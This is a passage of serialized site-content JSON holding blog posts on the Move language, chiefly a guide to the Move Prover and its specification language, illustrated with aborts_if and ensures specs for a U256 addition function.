,[9208],{"type":28,"value":8708},{"type":23,"tag":213,"props":9210,"children":9211},{"style":230},[9212],{"type":28,"value":3141},{"type":23,"tag":213,"props":9214,"children":9215},{"style":514},[9216],{"type":28,"value":517},{"type":23,"tag":213,"props":9218,"children":9219},{"style":274},[9220],{"type":28,"value":3150},{"type":23,"tag":213,"props":9222,"children":9223},{"style":257},[9224],{"type":28,"value":9225},"len",{"type":23,"tag":213,"props":9227,"children":9228},{"style":220},[9229],{"type":28,"value":265},{"type":23,"tag":213,"props":9231,"children":9232},{"style":268},[9233],{"type":28,"value":271},{"type":23,"tag":213,"props":9235,"children":9236},{"style":220},[9237],{"type":28,"value":2121},{"type":23,"tag":213,"props":9239,"children":9240},{"style":274},[9241],{"type":28,"value":277},{"type":23,"tag":213,"props":9243,"children":9244},{"style":268},[9245],{"type":28,"value":9246}," result",{"type":23,"tag":213,"props":9248,"children":9249},{"style":220},[9250],{"type":28,"value":3821},{"type":23,"tag":213,"props":9252,"children":9253},{"style":268},[9254],{"type":28,"value":8741},{"type":23,"tag":213,"props":9256,"children":9257},{"style":220},[9258],{"type":28,"value":8746},{"type":23,"tag":213,"props":9260,"children":9261},{"style":274},[9262],{"type":28,"value":8660},{"type":23,"tag":213,"props":9264,"children":9265},{"style":268},[9266],{"type":28,"value":8755},{"type":23,"tag":213,"props":9268,"children":9269},{"style":220},[9270],{"type":28,"value":3821},{"type":23,"tag":213,"props":9272,"children":9273},{"style":268},[9274],{"type":28,"value":8741},{"type":23,"tag":213,"props":9276,"children":9277},{"style":220},[9278],{"type":28,"value":8746},{"type":23,"tag":213,"props":9280,"children":9281},{"style":274},[9282],{"type":28,"value":1696},{"type":23,"tag":213,"props":9284,"children":9285},{"style":257},[9286],{"type":28,"value":8642},{"type":23,"tag":213,"props":9288,"children":9289},{"style":220},[9290],{"type":28,"value":265},{"type":23,"tag":213,"props":9292,"children":9293},{"style":268},[9294],{"type":28,"value":271},{"type":23,"tag":213,"props":9296,"children":9297},{"style":220},[9298],{"type":28,"value":2867},{"type":23,"tag":213,"props":9300,"children":9302},{"class":215,"line":9301},30,[9303],{"type":23,"tag":213,"props":9304,"children":9305},{"style":220},[9306],{"type":28,"value":5964},{"type":23,"tag":47,"props":9308,"children":9309},{"id":2929},[9310],{"type":28,"value":2932},{"type":23,"tag":24,"props":9312,"children":9313},{},[9314],{"type":28,"value":9315},"In this post, we explored implications of Move's type system and formal verification, two powerful features of the Move language that enable safer programming languages.",{"type":23,"tag":24,"props":9317,"children":9318},{},[9319],{"type":28,"value":9320},"While Move as a language is still a language in active development, it shows some exciting features that seem allows developers to create structurally safer programs.",{"type":23,"tag":24,"props":9322,"children":9323},{},[9324,9326,9333],{"type":28,"value":9325},"We're passionate about pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":23,"tag":36,"props":9327,"children":9330},{"href":9328,"rel":9329},"https://twitter.com/notdeghost/",[40],[9331],{"type":28,"value":9332},"@notdeghost",{"type":28,"value":124},{"type":23,"tag":2957,"props":9335,"children":9336},{},[9337],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":9339},[9340,9341,9342],{"id":5852,"depth":226,"text":5855},{"id":7884,"depth":226,"text":7887},{"id":2929,"depth":226,"text":2932},"content:blog:2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction.md","blog/2022-09-06-move-introduction",{"_path":9347,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":9348,"description":9349,"author":5813,"image":9350,"date":9353,"isFeatured":18,"tags":9354,"onBlogPage":18,"body":9356,"_type":2967,"_id":13692,"_source":2969,"_file":13693,"_stem":13694,"_extension":2972},"/blog/2022-09-16-move-prover","The Move Prover: A Guide","A practical guide to the Move Prover - tutorial, case study, and specifications.",{"src":9351,"height":9352,"width":5817},"/posts/move-prover/move-prover-title.jpg",1019,"2022-09-16",[9355,17],"move",{"type":20,"children":9357,"toc":13678},[9358,9377,9388,9394,9399,9404,9409,9418,9423,9437,9442,9448,9453,9467,9472,9609,9622,9627,9648,9681,9692,9698,9703,9713,9725,10066,10080,10098,10143,10156,10175,10347,10352,10357,10382,10387,10989,11001,11013,11018,11032,11037,11050,11090,11095,11127,11132,11137,11150,11535,11562,11769,11774,11786,12023,12028,12036,12055,12401,12406,12563,12568,12575,12589,12595,12600,12605,12611,12624,12856,12862,12867,12887,13154,13159,13165,13177,13182,13196,13202,13237,13337,13358,13364,13369,13374,13626,13631,13649,13653,13658,13663,13674],{"type":23,"tag":24,"props":9359,"children":9360},{},[9361,9363,9368,9370,9375],{"type":28,"value":9362},"Formal verification -- a powerful tool for ",{"type":23,"tag":87,"props":9364,"children":9365},{},[9366],{"type":28,"value":9367},"proving",{"type":28,"value":9369}," the correctness of your programs. How does it ",{"type":23,"tag":87,"props":9371,"children":9372},{},[9373],{"type":28,"value":9374},"actually",{"type":28,"value":9376}," work? This blog post will provide practical tips to help you use the Move Prover to its fullest potential, as well as explore a real-world example of how we used formal verification to secure a smart contract.",{"type":23,"tag":24,"props":9378,"children":9379},{},[9380,9382,9386],{"type":28,"value":9381},"At a high level, formal verification allows you to provide a specification for the program. This specification is then checked against symbolic inputs, allowing you to prove that your code follows the specification for ",{"type":23,"tag":87,"props":9383,"children":9384},{},[9385],{"type":28,"value":1218},{"type":28,"value":9387}," possible inputs.",{"type":23,"tag":47,"props":9389,"children":9391},{"id":9390},"move-prover",[9392],{"type":28,"value":9393},"Move Prover",{"type":23,"tag":24,"props":9395,"children":9396},{},[9397],{"type":28,"value":9398},"The Move Prover is an automated tool that allows developers to formally verify smart contracts written in the Move programming language.",{"type":23,"tag":24,"props":9400,"children":9401},{},[9402],{"type":28,"value":9403},"Move was primarily designed to facilitate automatic verification. Interestingly, the Move Prove operates on the Move bytecode itself, avoiding potential compiler bugs from interfering with prover correctness.",{"type":23,"tag":24,"props":9405,"children":9406},{},[9407],{"type":28,"value":9408},"The architecture of the tool consists of multiple components as illustrated below.",{"type":23,"tag":24,"props":9410,"children":9411},{},[9412],{"type":23,"tag":4009,"props":9413,"children":9417},{"alt":9414,"src":9415,"title":9416},"Move Prover arch","https://i.imgur.com/ti4vkTu.png","Move Prover Architecture",[],{"type":23,"tag":24,"props":9419,"children":9420},{},[9421],{"type":28,"value":9422},"First, the Move prover receives a Move source file (an input) that contains specifications of the intended behavior of the program. Those specifications are then extracted from the annotated source by the Move Parser. Consequently, the tool compiles the source code into Move bytecode which is verified and converted into a prover object model plus the specification system \"blueprint\".",{"type":23,"tag":24,"props":9424,"children":9425},{},[9426,9428,9435],{"type":28,"value":9427},"The model is translated into an intermediate language, called ",{"type":23,"tag":36,"props":9429,"children":9432},{"href":9430,"rel":9431},"https://www.microsoft.com/en-us/research/project/boogie-an-intermediate-verification-language/",[40],[9433],{"type":28,"value":9434},"Boogie",{"type":28,"value":9436},". This Boogie code is then passed to the Boogie verification system which generates the input for the solver using a \"verification condition generation\". The verification condition (VC) is passed to an automated theorem prover (Z3).",{"type":23,"tag":24,"props":9438,"children":9439},{},[9440],{"type":28,"value":9441},"Once the VC is passed to the Z3, the prover checks if the SMT formula is unsatisfiable. If so, it means that the specifications hold. Otherwise, a model that satisfies the conditions is generated and converted back into Boogie format in order to issue a diagnosis report. The diagnosis report is then reverted to a source-level error which parallels a standard compiler error.",{"type":23,"tag":47,"props":9443,"children":9445},{"id":9444},"move-specification-language",[9446],{"type":28,"value":9447},"Move Specification Language",{"type":23,"tag":24,"props":9449,"children":9450},{},[9451],{"type":28,"value":9452},"Move MSL is a subset of the Move Language, which introduces support to statically describe the behavior about the correctness of a program with no implications on production.",{"type":23,"tag":24,"props":9454,"children":9455},{},[9456,9458,9465],{"type":28,"value":9457},"To better understand how to use the MSL, we will use ",{"type":23,"tag":36,"props":9459,"children":9462},{"href":9460,"rel":9461},"https://github.com/pontem-network/u256",[40],[9463],{"type":28,"value":9464},"Pontem's U256 library",{"type":28,"value":9466},", an open source Move library which implements support for U256 numbers, as a case study.",{"type":23,"tag":24,"props":9468,"children":9469},{},[9470],{"type":28,"value":9471},"The U256 number is implemented as a struct which contains 4 u64 numbers.",{"type":23,"tag":202,"props":9473,"children":9475},{"code":9474,"language":205,"meta":7,"className":206,"style":7},"struct U256 has copy, drop, store {\n v0: u64,\n v1: u64,\n v2: u64,\n v3: u64,\n}\n",[9476],{"type":23,"tag":209,"props":9477,"children":9478},{"__ignoreMap":7},[9479,9522,9542,9562,9582,9602],{"type":23,"tag":213,"props":9480,"children":9481},{"class":215,"line":216},[9482,9487,9491,9496,9501,9505,9510,9514,9518],{"type":23,"tag":213,"props":9483,"children":9484},{"style":230},[9485],{"type":28,"value":9486},"struct",{"type":23,"tag":213,"props":9488,"children":9489},{"style":290},[9490],{"type":28,"value":4825},{"type":23,"tag":213,"props":9492,"children":9493},{"style":268},[9494],{"type":28,"value":9495}," has",{"type":23,"tag":213,"props":9497,"children":9498},{"style":268},[9499],{"type":28,"value":9500}," copy",{"type":23,"tag":213,"props":9502,"children":9503},{"style":220},[9504],{"type":28,"value":424},{"type":23,"tag":213,"props":9506,"children":9507},{"style":268},[9508],{"type":28,"value":9509},"drop",{"type":23,"tag":213,"props":9511,"children":9512},{"style":220},[9513],{"type":28,"value":424},{"type":23,"tag":213,"props":9515,"children":9516},{"style":268},[9517],{"type":28,"value":6032},{"type":23,"tag":213,"props":9519,"children":9520},{"style":220},[9521],{"type":28,"value":1375},{"type":23,"tag":213,"props":9523,"children":9524},{"class":215,"line":226},[9525,9530,9534,9538],{"type":23,"tag":213,"props":9526,"children":9527},{"style":268},[9528],{"type":28,"value":9529}," v0",{"type":23,"tag":213,"props":9531,"children":9532},{"style":274},[9533],{"type":28,"value":277},{"type":23,"tag":213,"props":9535,"children":9536},{"style":290},[9537],{"type":28,"value":308},{"type":23,"tag":213,"props":9539,"children":9540},{"style":220},[9541],{"type":28,"value":944},{"type":23,"tag":213,"props":9543,"children":9544},{"class":215,"line":524},[9545,9550,9554,9558],{"type":23,"tag":213,"props":9546,"children":9547},{"style":268},[9548],{"type":28,"value":9549}," v1",{"type":23,"tag":213,"props":9551,"children":9552},{"style":274},[9553],{"type":28,"value":277},{"type":23,"tag":213,"props":9555,"children":9556},{"style":290},[9557],{"type":28,"value":308},{"type":23,"tag":213,"props":9559,"children":9560},{"style":220},[9561],{"type":28,"value":944},{"type":23,"tag":213,"props":9563,"children":9564},{"class":215,"line":533},[9565,9570,9574,9578],{"type":23,"tag":213,"props":9566,"children":9567},{"style":268},[9568],{"type":28,"value":9569}," v2",{"type":23,"tag":213,"props":9571,"children":9572},{"style":274},[9573],{"type":28,"value":277},{"type":23,"tag":213,"props":9575,"children":9576},{"style":290},[9577],{"type":28,"value":308},{"type":23,"tag":213,"props":9579,"children":9580},{"style":220},[9581],{"type":28,"value":944},{"type":23,"tag":213,"props":9583,"children":9584},{"class":215,"line":543},[9585,9590,9594,9598],{"type":23,"tag":213,"props":9586,"children":9587},{"style":268},[9588],{"type":28,"value":9589}," v3",{"type":23,"tag":213,"props":9591,"children":9592},{"style":274},[9593],{"type":28,"value":277},{"type":23,"tag":213,"props":9595,"children":9596},{"style":290},[9597],{"type":28,"value":308},{"type":23,"tag":213,"props":9599,"children":9600},{"style":220},[9601],{"type":28,"value":944},{"type":23,"tag":213,"props":9603,"children":9604},{"class":215,"line":551},[9605],{"type":23,"tag":213,"props":9606,"children":9607},{"style":220},[9608],{"type":28,"value":1208},{"type":23,"tag":24,"props":9610,"children":9611},{},[9612,9614,9620],{"type":28,"value":9613},"Now, let's consider the ",{"type":23,"tag":209,"props":9615,"children":9617},{"className":9616},[],[9618],{"type":28,"value":9619},"add(a: U256, b: U256): U256",{"type":28,"value":9621}," function. In order to verify the correctness of such a function, it might be useful to verify some of the group axioms, for example: commutativity and associativity.",{"type":23,"tag":24,"props":9623,"children":9624},{},[9625],{"type":28,"value":9626},"Specifications are declared in a specification block, which can be found in Move functions, as module member, or in a different file as a separate specification module.",{"type":23,"tag":24,"props":9628,"children":9629},{},[9630,9632,9638,9640,9647],{"type":28,"value":9631},"For example, if your file is ",{"type":23,"tag":209,"props":9633,"children":9635},{"className":9634},[],[9636],{"type":28,"value":9637},"sources/u256.move",{"type":28,"value":9639},", you can put specifications in ",{"type":23,"tag":36,"props":9641,"children":9644},{"href":9642,"rel":9643},"https://github.com/pontem-network/u256/blob/main/sources/u256.spec.move",[40],[9645],{"type":28,"value":9646},"sources/u256.spec.move",{"type":28,"value":124},{"type":23,"tag":202,"props":9649,"children":9651},{"code":9650,"language":205,"meta":7,"className":206,"style":7},"spec add { ... }\n",[9652],{"type":23,"tag":209,"props":9653,"children":9654},{"__ignoreMap":7},[9655],{"type":23,"tag":213,"props":9656,"children":9657},{"class":215,"line":216},[9658,9662,9667,9671,9676],{"type":23,"tag":213,"props":9659,"children":9660},{"style":268},[9661],{"type":28,"value":8361},{"type":23,"tag":213,"props":9663,"children":9664},{"style":268},[9665],{"type":28,"value":9666}," add",{"type":23,"tag":213,"props":9668,"children":9669},{"style":220},[9670],{"type":28,"value":2572},{"type":23,"tag":213,"props":9672,"children":9673},{"style":274},[9674],{"type":28,"value":9675},"...",{"type":23,"tag":213,"props":9677,"children":9678},{"style":220},[9679],{"type":28,"value":9680}," }\n",{"type":23,"tag":24,"props":9682,"children":9683},{},[9684,9686,9691],{"type":28,"value":9685},"The specifications placed inside the specification blocks are considered ",{"type":23,"tag":87,"props":9687,"children":9688},{},[9689],{"type":28,"value":9690},"Expressions",{"type":28,"value":124},{"type":23,"tag":9693,"props":9694,"children":9696},"h3",{"id":9695},"expressions",[9697],{"type":28,"value":9690},{"type":23,"tag":24,"props":9699,"children":9700},{},[9701],{"type":28,"value":9702},"Let's go over some common expressions.",{"type":23,"tag":24,"props":9704,"children":9705},{},[9706,9711],{"type":23,"tag":209,"props":9707,"children":9709},{"className":9708},[],[9710],{"type":28,"value":8411},{"type":28,"value":9712}," defines when the function can abort. This is especially useful in the context of smart contract development, where an abort would cause the entire transaction to rollback.",{"type":23,"tag":24,"props":9714,"children":9715},{},[9716,9718,9723],{"type":28,"value":9717},"For example, the ",{"type":23,"tag":209,"props":9719,"children":9721},{"className":9720},[],[9722],{"type":28,"value":605},{"type":28,"value":9724}," function aborts if and only if the U256 addition overflows. Let's put these words into an expression:",{"type":23,"tag":202,"props":9726,"children":9728},{"code":9727,"language":205,"meta":7,"className":206,"style":7},"const P64: u128 = 0x10000000000000000;\n\nspec fun value_of_U256(a: U256): num {\n a.v0 +\n a.v1 * P64 +\n a.v2 * P64 * P64 +\n a.v3 * P64 * P64 * P64\n}\n\nspec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n}\n",[9729],{"type":23,"tag":209,"props":9730,"children":9731},{"__ignoreMap":7},[9732,9765,9772,9821,9843,9872,9908,9949,9956,9963,9978,10059],{"type":23,"tag":213,"props":9733,"children":9734},{"class":215,"line":216},[9735,9739,9744,9748,9752,9756,9761],{"type":23,"tag":213,"props":9736,"children":9737},{"style":230},[9738],{"type":28,"value":632},{"type":23,"tag":213,"props":9740,"children":9741},{"style":220},[9742],{"type":28,"value":9743}," P64",{"type":23,"tag":213,"props":9745,"children":9746},{"style":274},[9747],{"type":28,"value":277},{"type":23,"tag":213,"props":9749,"children":9750},{"style":290},[9751],{"type":28,"value":8931},{"type":23,"tag":213,"props":9753,"children":9754},{"style":274},[9755],{"type":28,"value":511},{"type":23,"tag":213,"props":9757,"children":9758},{"style":514},[9759],{"type":28,"value":9760}," 0x10000000000000000",{"type":23,"tag":213,"props":9762,"children":9763},{"style":220},[9764],{"type":28,"value":313},{"type":23,"tag":213,"props":9766,"children":9767},{"class":215,"line":226},[9768],{"type":23,"tag":213,"props":9769,"children":9770},{"emptyLinePlaceholder":18},[9771],{"type":28,"value":530},{"type":23,"tag":213,"props":9773,"children":9774},{"class":215,"line":524},[9775,9779,9783,9788,9792,9796,9800,9804,9808,9812,9817],{"type":23,"tag":213,"props":9776,"children":9777},{"style":268},[9778],{"type":28,"value":8361},{"type":23,"tag":213,"props":9780,"children":9781},{"style":268},[9782],{"type":28,"value":6299},{"type":23,"tag":213,"props":9784,"children":9785},{"style":257},[9786],{"type":28,"value":9787}," value_of_U256",{"type":23,"tag":213,"props":9789,"children":9790},{"style":220},[9791],{"type":28,"value":265},{"type":23,"tag":213,"props":9793,"children":9794},{"style":268},[9795],{"type":28,"value":36},{"type":23,"tag":213,"props":9797,"children":9798},{"style":274},[9799],{"type":28,"value":277},{"type":23,"tag":213,"props":9801,"children":9802},{"style":290},[9803],{"type":28,"value":4825},{"type":23,"tag":213,"props":9805,"children":9806},{"style":220},[9807],{"type":28,"value":2121},{"type":23,"tag":213,"props":9809,"children":9810},{"style":274},[9811],{"type":28,"value":277},{"type":23,"tag":213,"props":9813,"children":9814},{"style":268},[9815],{"type":28,"value":9816}," num",{"type":23,"tag":213,"props":9818,"children":9819},{"style":220},[9820],{"type":28,"value":1375},{"type":23,"tag":213,"props":9822,"children":9823},{"class":215,"line":533},[9824,9829,9833,9838],{"type":23,"tag":213,"props":9825,"children":9826},{"style":268},[9827],{"type":28,"value":9828}," a",{"type":23,"tag":213,"props":9830,"children":9831},{"style":274},[9832],{"type":28,"value":124},{"type":23,"tag":213,"props":9834,"children":9835},{"style":220},[9836],{"type":28,"value":9837},"v0 ",{"type":23,"tag":213,"props":9839,"children":9840},{"style":274},[9841],{"type":28,"value":9842},"+\n",{"type":23,"tag":213,"props":9844,"children":9845},{"class":215,"line":543},[9846,9850,9854,9859,9863,9867],{"type":23,"tag":213,"props":9847,"children":9848},{"style":268},[9849],{"type":28,"value":9828},{"type":23,"tag":213,"props":9851,"children":9852},{"style":274},[9853],{"type":28,"value":124},{"type":23,"tag":213,"props":9855,"children":9856},{"style":220},[9857],{"type":28,"value":9858},"v1 ",{"type":23,"tag":213,"props":9860,"children":9861},{"style":274},[9862],{"type":28,"value":1696},{"type":23,"tag":213,"props":9864,"children":9865},{"style":290},[9866],{"type":28,"value":9743},{"type":23,"tag":213,"props":9868,"children":9869},{"style":274},[9870],{"type":28,"value":9871}," +\n",{"type":23,"tag":213,"props":9873,"children":9874},{"class":215,"line":551},[9875,9879,9883,9888,9892,9896,9900,9904],{"type":23,"tag":213,"props":9876,"children":9877},{"style":268},[9878],{"type":28,"value":9828},{"type":23,"tag":213,"props":9880,"children":9881},{"style":274},[9882],{"type":28,"value":124},{"type":23,"tag":213,"props":9884,"children":9885},{"style":220},[9886],{"type":28,"value":9887},"v2 ",{"type":23,"tag":213,"props":9889,"children":9890},{"style":274},[9891],{"type":28,"value":1696},{"type":23,"tag":213,"props":9893,"children":9894},{"style":290},[9895],{"type":28,"value":9743},{"type":23,"tag":213,"props":9897,"children":9898},{"style":274},[9899],{"type":28,"value":282},{"type":23,"tag":213,"props":9901,"children":9902},{"style":290},[9903],{"type":28,"value":9743},{"type":23,"tag":213,"props":9905,"children":9906},{"style":274},[9907],{"type":28,"value":9871},{"type":23,"tag":213,"props":9909,"children":9910},{"class":215,"line":570},[9911,9915,9919,9924,9928,9932,9936,9940,9944],{"type":23,"tag":213,"props":9912,"children":9913},{"style":268},[9914],{"type":28,"value":9828},{"type":23,"tag":213,"props":9916,"children":9917},{"style":274},[9918],{"type":28,"value":124},{"type":23,"tag":213,"props":9920,"children":9921},{"style":220},[9922],{"type":28,"value":9923},"v3 ",{"type":23,"tag":213,"props":9925,"children":9926},{"style":274},[9927],{"type":28,"value":1696},{"type":23,"tag":213,"props":9929,"children":9930},{"style":290},[9931],{"type":28,"value":9743},{"type":23,"tag":213,"props":9933,"children":9934},{"style":274},[9935],{"type":28,"value":282},{"type":23,"tag":213,"props":9937,"children":9938},{"style":290},[9939],{"type":28,"value":9743},{"type":23,"tag":213,"props":9941,"children":9942},{"style":274},[9943],{"type":28,"value":282},{"type":23,"tag":213,"props":9945,"children":9946},{"style":290},[9947],{"type":28,"value":9948}," P64\n",{"type":23,"tag":213,"props":9950,"children":9951},{"class":215,"line":655},[9952],{"type":23,"tag":213,"props":9953,"children":9954},{"style":220},[9955],{"type":28,"value":1208},{"type":23,"tag":213,"props":9957,"children":9958},{"class":215,"line":1176},[9959],{"type":23,"tag":213,"props":9960,"children":9961},{"emptyLinePlaceholder":18},[9962],{"type":28,"value":530},{"type":23,"tag":213,"props":9964,"children":9965},{"class":215,"line":1202},[9966,9970,9974],{"type":23,"tag":213,"props":9967,"children":9968},{"style":268},[9969],{"type":28,"value":8361},{"type":23,"tag":213,"props":9971,"children":9972},{"style":268},[9973],{"type":28,"value":9666},{"type":23,"tag":213,"props":9975,"children":9976},{"style":220},[9977],{"type":28,"value":1375},{"type":23,"tag":213,"props":9979,"children":9980},{"class":215,"line":1758},[9981,9986,9990,9994,9998,10002,10006,10010,10014,10018,10022,10027,10031,10035,10039,10043,10047,10051,10055],{"type":23,"tag":213,"props":9982,"children":9983},{"style":268},[9984],{"type":28,"value":9985}," aborts_if",{"type":23,"tag":213,"props":9987,"children":9988},{"style":257},[9989],{"type":28,"value":9787},{"type":23,"tag":213,"props":9991,"children":9992},{"style":220},[9993],{"type":28,"value":265},{"type":23,"tag":213,"props":9995,"children":9996},{"style":268},[9997],{"type":28,"value":36},{"type":23,"tag":213,"props":9999,"children":10000},{"style":220},[10001],{"type":28,"value":298},{"type":23,"tag":213,"props":10003,"children":10004},{"style":274},[10005],{"type":28,"value":2703},{"type":23,"tag":213,"props":10007,"children":10008},{"style":257},[10009],{"type":28,"value":9787},{"type":23,"tag":213,"props":10011,"children":10012},{"style":220},[10013],{"type":28,"value":265},{"type":23,"tag":213,"props":10015,"children":10016},{"style":268},[10017],{"type":28,"value":3319},{"type":23,"tag":213,"props":10019,"children":10020},{"style":220},[10021],{"type":28,"value":298},{"type":23,"tag":213,"props":10023,"children":10024},{"style":274},[10025],{"type":28,"value":10026},">=",{"type":23,"tag":213,"props":10028,"children":10029},{"style":290},[10030],{"type":28,"value":9743},{"type":23,"tag":213,"props":10032,"children":10033},{"style":274},[10034],{"type":28,"value":282},{"type":23,"tag":213,"props":10036,"children":10037},{"style":290},[10038],{"type":28,"value":9743},{"type":23,"tag":213,"props":10040,"children":10041},{"style":274},[10042],{"type":28,"value":282},{"type":23,"tag":213,"props":10044,"children":10045},{"style":290},[10046],{"type":28,"value":9743},{"type":23,"tag":213,"props":10048,"children":10049},{"style":274},[10050],{"type":28,"value":282},{"type":23,"tag":213,"props":10052,"children":10053},{"style":290},[10054],{"type":28,"value":9743},{"type":23,"tag":213,"props":10056,"children":10057},{"style":220},[10058],{"type":28,"value":313},{"type":23,"tag":213,"props":10060,"children":10061},{"class":215,"line":1767},[10062],{"type":23,"tag":213,"props":10063,"children":10064},{"style":220},[10065],{"type":28,"value":1208},{"type":23,"tag":24,"props":10067,"children":10068},{},[10069,10071,10078],{"type":28,"value":10070},"We can observe in the snippet above, that we are allowed to call functions inside the spec block. However, the callee must either be an ",{"type":23,"tag":36,"props":10072,"children":10075},{"href":10073,"rel":10074},"https://github.com/move-language/move/blob/f7d5b1a3f4d622c17f540190fa4fa12323cb0bb8/language/move-prover/doc/user/spec-lang.md#builtin-functions",[40],[10076],{"type":28,"value":10077},"MSL function",{"type":28,"value":10079},", or a pure Move function. A pure Move function can be defined as a function that does not modify the global state or use Move expression features unsupported by MSL.",{"type":23,"tag":24,"props":10081,"children":10082},{},[10083,10085,10090,10091,10096],{"type":28,"value":10084},"A common pattern for ",{"type":23,"tag":209,"props":10086,"children":10088},{"className":10087},[],[10089],{"type":28,"value":8411},{"type":28,"value":5594},{"type":23,"tag":209,"props":10092,"children":10094},{"className":10093},[],[10095],{"type":28,"value":8419},{"type":28,"value":10097},", which lets you prove that a function will never abort.",{"type":23,"tag":202,"props":10099,"children":10101},{"code":10100,"language":205,"meta":7,"className":206,"style":7},"spec critical_function {\n aborts_if false;\n}\n",[10102],{"type":23,"tag":209,"props":10103,"children":10104},{"__ignoreMap":7},[10105,10121,10136],{"type":23,"tag":213,"props":10106,"children":10107},{"class":215,"line":216},[10108,10112,10117],{"type":23,"tag":213,"props":10109,"children":10110},{"style":268},[10111],{"type":28,"value":8361},{"type":23,"tag":213,"props":10113,"children":10114},{"style":268},[10115],{"type":28,"value":10116}," critical_function",{"type":23,"tag":213,"props":10118,"children":10119},{"style":220},[10120],{"type":28,"value":1375},{"type":23,"tag":213,"props":10122,"children":10123},{"class":215,"line":226},[10124,10128,10132],{"type":23,"tag":213,"props":10125,"children":10126},{"style":268},[10127],{"type":28,"value":9985},{"type":23,"tag":213,"props":10129,"children":10130},{"style":230},[10131],{"type":28,"value":9143},{"type":23,"tag":213,"props":10133,"children":10134},{"style":220},[10135],{"type":28,"value":313},{"type":23,"tag":213,"props":10137,"children":10138},{"class":215,"line":524},[10139],{"type":23,"tag":213,"props":10140,"children":10141},{"style":220},[10142],{"type":28,"value":1208},{"type":23,"tag":24,"props":10144,"children":10145},{},[10146,10148,10154],{"type":28,"value":10147},"Another type of expression that we can use is ",{"type":23,"tag":209,"props":10149,"children":10151},{"className":10150},[],[10152],{"type":28,"value":10153},"ensures",{"type":28,"value":10155},". As the name suggests, it ensures that a certain condition is true at the end of a function's execution.",{"type":23,"tag":24,"props":10157,"children":10158},{},[10159,10161,10166,10168,10173],{"type":28,"value":10160},"In the case of the ",{"type":23,"tag":209,"props":10162,"children":10164},{"className":10163},[],[10165],{"type":28,"value":605},{"type":28,"value":10167}," function, we want to ensure that the return value is the sum of the 2 parameters. Note that because ",{"type":23,"tag":95,"props":10169,"children":10170},{},[10171],{"type":28,"value":10172},"MSL uses unbounded numbers",{"type":28,"value":10174},", we're able to very cleanly express this property without worrying about overflows.",{"type":23,"tag":202,"props":10176,"children":10178},{"code":10177,"language":205,"meta":7,"className":206,"style":7},"spec add {\n aborts_if value_of_U256(a) + value_of_U256(b) >= P64 * P64 * P64 * P64;\n ensures value_of_U256(result) == value_of_U256(a) + value_of_U256(b);\n}\n",[10179],{"type":23,"tag":209,"props":10180,"children":10181},{"__ignoreMap":7},[10182,10197,10276,10340],{"type":23,"tag":213,"props":10183,"children":10184},{"class":215,"line":216},[10185,10189,10193],{"type":23,"tag":213,"props":10186,"children":10187},{"style":268},[10188],{"type":28,"value":8361},{"type":23,"tag":213,"props":10190,"children":10191},{"style":268},[10192],{"type":28,"value":9666},{"type":23,"tag":213,"props":10194,"children":10195},{"style":220},[10196],{"type":28,"value":1375},{"type":23,"tag":213,"props":10198,"children":10199},{"class":215,"line":226},[10200,10204,10208,10212,10216,10220,10224,10228,10232,10236,10240,10244,10248,10252,10256,10260,10264,10268,10272],{"type":23,"tag":213,"props":10201,"children":10202},{"style":268},[10203],{"type":28,"value":9985},{"type":23,"tag":213,"props":10205,"children":10206},{"style":257},[10207],{"type":28,"value":9787},{"type":23,"tag":213,"props":10209,"children":10210},{"style":220},[10211],{"type":28,"value":265},{"type":23,"tag":213,"props":10213,"children":10214},{"style":268},[10215],{"type":28,"value":36},{"type":23,"tag":213,"props":10217,"children":10218},{"style":220},[10219],{"type":28,"value":298},{"type":23,"tag":213,"props":10221,"children":10222},{"style":274},[10223],{"type":28,"value":2703},{"type":23,"tag":213,"props":10225,"children":10226},{"style":257},[10227],{"type":28,"value":9787},{"type":23,"tag":213,"props":10229,"children":10230},{"style":220},[10231],{"type":28,"value":265},{"type":23,"tag":213,"props":10233,"children":10234},{"style":268},[10235],{"type":28,"value":3319},{"type":23,"tag":213,"props":10237,"children":10238},{"style":220},[10239],{"type":28,"value":298},{"type":23,"tag":213,"props":10241,"children":10242},{"style":274},[10243],{"type":28,"value":10026},{"type":23,"tag":213,"props":10245,"children":10246},{"style":290},[10247],{"type":28,"value":9743},{"type":23,"tag":213,"props":10249,"children":10250},{"style":274},[10251],{"type":28,"value":282},{"type":23,"tag":213,"props":10253,"children":10254},{"style":290},[10255],{"type":28,"value":9743},{"type":23,"tag":213,"props":10257,"children":10258},{"style":274},[10259],{"type":28,"value":282},{"type":23,"tag":213,"props":10261,"children":10262},{"style":290},[10263],{"type":28,"value":9743},{"type":23,"tag":213,"props":10265,"children":10266},{"style":274},[10267],{"type":28,"value":282},{"type":23,"tag":213,"props":10269,"children":10270},{"style":290},[10271],{"type":28,"value":9743},{"type":23,"tag":213,"props":10273,"children":10274},{"style":220},[10275],{"type":28,"value":313},{"type":23,"tag":213,"props":10277,"children":10278},{"class":215,"line":524},[10279,10284,10288,10292,10296,10300,10304,10308,10312,10316,10320,10324,10328,10332,10336],{"type":23,"tag":213,"props":10280,"children":10281},{"style":268},[10282],{"type":28,"value":10283}," ensures",{"type":23,"tag":213,"props":10285,"children":10286},{"style":257},[10287],{"type":28,"value":9787},{"type":23,"tag":213,"props":10289,"children":10290},{"style":220},[10291],{"type":28,"value":265},{"type":23,"tag":213,"props":10293,"children":10294},{"style":268},[10295],{"type":28,"value":9168},{"type":23,"tag":213,"props":10297,"children":10298},{"style":220},[10299],{"type":28,"value":298},{"type":23,"tag":213,"props":10301,"children":10302},{"style":274},[10303],{"type":28,"value":8660},{"type":23,"tag":213,"props":10305,"children":10306},{"style":257},[10307],{"type":28,"value":9787},{"type":23,"tag":213,"props":10309,"children":10310},{"style":220},[10311],{"type":28,"value":265},{"type":23,"tag":213,"props":10313,"children":10314},{"style":268},[10315],{"type":28,"value":36},{"type":23,"tag":213,"props":10317,"children":10318},{"style":220},[10319],{"type":28,"value":298},{"type":23,"tag":213,"props":10321,"children":10322},{"style":274},[10323],{"type":28,"value":2703},{"type":23,"tag":213,"props":10325,"children":10326},{"style":257},[10327],{"type":28,"value":9787},{"type":23,"tag":213,"props":10329,"children":10330},{"style":220},[10331],{"type":28,"value":265},{"type":23,"tag":213,"props":10333,"children":10334